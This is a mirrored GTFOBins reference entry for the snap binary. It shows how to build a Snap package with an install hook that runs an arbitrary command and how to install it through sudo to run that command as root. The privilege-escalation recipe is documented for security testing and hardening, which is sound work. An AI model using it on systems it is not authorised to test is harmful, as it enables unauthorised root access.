mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
17 lines
523 B
Markdown
17 lines
523 B
Markdown
---
|
|
functions:
|
|
sudo:
|
|
- description: |
|
|
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
|
|
```
|
|
COMMAND=id
|
|
cd $(mktemp -d)
|
|
mkdir -p meta/hooks
|
|
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
|
|
chmod +x meta/hooks/install
|
|
fpm -n x -s dir -t snap -a all meta
|
|
```
|
|
code: |
|
|
sudo snap install x_1.0_all.snap --dangerous --devmode
|
|
---
|